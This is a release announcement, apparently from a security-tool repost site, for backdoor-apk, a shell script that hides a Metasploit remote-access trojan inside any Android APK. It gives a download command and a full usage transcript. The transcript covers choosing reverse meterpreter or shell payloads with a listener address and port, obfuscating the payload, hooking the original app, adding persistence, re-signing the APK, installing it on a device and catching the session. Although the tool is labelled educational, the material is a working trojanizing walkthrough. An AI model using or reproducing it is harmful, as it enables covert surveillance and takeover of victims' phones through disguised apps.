backdoor-apk v0.2.4a release: adding a backdoor to any Android APK file

backdoor-apk is a shell script that simplifies the process of adding a backdoor to any Android APK file. Users of this shell script should have the working knowledge of Linux, Bash, Metasploit, Apktool, the Android SDK, smali, etc. This shell script is provided as-is without warranty of any kind and is intended for educational purposes only.

Changelog 

0.2.4a (2018-09-28)

Bug Fixes

  • Fixed issue signing a recompiled APK with the original APK not in the same directory as the backdoor-apk.sh script

0.2.4 (2018-09-27)

Improvements

  • Removed proguard as the Metasploit msfvenom tool used to create the Android RAT payloads now uses it
  • Hooking and injection logic

Bug Fixes

  • Fixed various issues identified with RAT payloads generaeted with more recent versions of msfvenom
  • Fixed issue with the const-string obfuscation technique that could silently break recompiled APKs

Download

git clone https://github.com/dana-at-cp/backdoor-apk.git

Usage

root@kali:~/Code/github/backdoor-apk/backdoor-apk# ./backdoor-apk.sh BaiduBrowser.apk
________
/ ______ \
|| _ _ ||
||| || ||| AAAAAA PPPPPPP KKK KKK
|||_||_||| AAA AAA PPP PPP KKK KKK
|| _ _o|| (o) AAA AAA PPP PPP KKKKKK
||| || ||| AAAAAAAA PPPPPPPP KKK KKK
|||_||_||| AAA AAA PPP KKK KKK
||______|| AAA AAA PPP KKK KKK
/__________\
________|__________|__________________________________________
/____________\
|____________| Dana James Traversie

[*] Running backdoor-apk.sh v0.2.4a on Mon Oct 9 16:50:06 EDT 2017
[+] Android payload options:
1) meterpreter/reverse_http 4) shell/reverse_http
2) meterpreter/reverse_https 5) shell/reverse_https
3) meterpreter/reverse_tcp 6) shell/reverse_tcp
[?] Please select an Android payload option: 2
[?] Please enter an LHOST value: 10.6.9.31
[?] Please enter an LPORT value: 443
[+] Android manifest permission options:
1) Keep original
2) Merge with payload and shuffle
[?] Please select an Android manifest permission option: 1
[+] Handle the payload via resource script: msfconsole -r backdoor-apk.rc
[*] Generating RAT APK file…done.
[*] Decompiling original APK file…done.
[+] Keeping permissions of original project
[*] Running proguard on RAT APK file…done.
[*] Decompiling obfuscated RAT APK file…done.
[*] Creating new directories in original project for RAT smali files…done.
[*] Copying RAT smali files to new directories in original project…done.
[*] Fixing RAT smali files…done.
[*] Obfuscating const-string values in RAT smali files…done.
[*] Locating smali file to hook in original project…done.
[*] Adding hook in original smali file…done.
[*] Adding persistence hook in original project…done.
[*] Recompiling original project with backdoor…done.
[*] Generating RSA key for signing…done.
[*] Signing recompiled APK…done.
[*] Verifying signed artifacts…done.
[*] Aligning recompiled APK…done.
root@kali:~/Code/github/backdoor-apk/backdoor-apk#

The recompiled APK will be found in the ‘original/dist’ directory. Install the APK on a compatible Android device, run it, and handle the meterpreter connection via the generated resource script: msfconsole -r backdoor-apk.rc

Demo

Copyright (C) 2016 dana-at-cp

Source: https://github.com/dana-at-cp

Share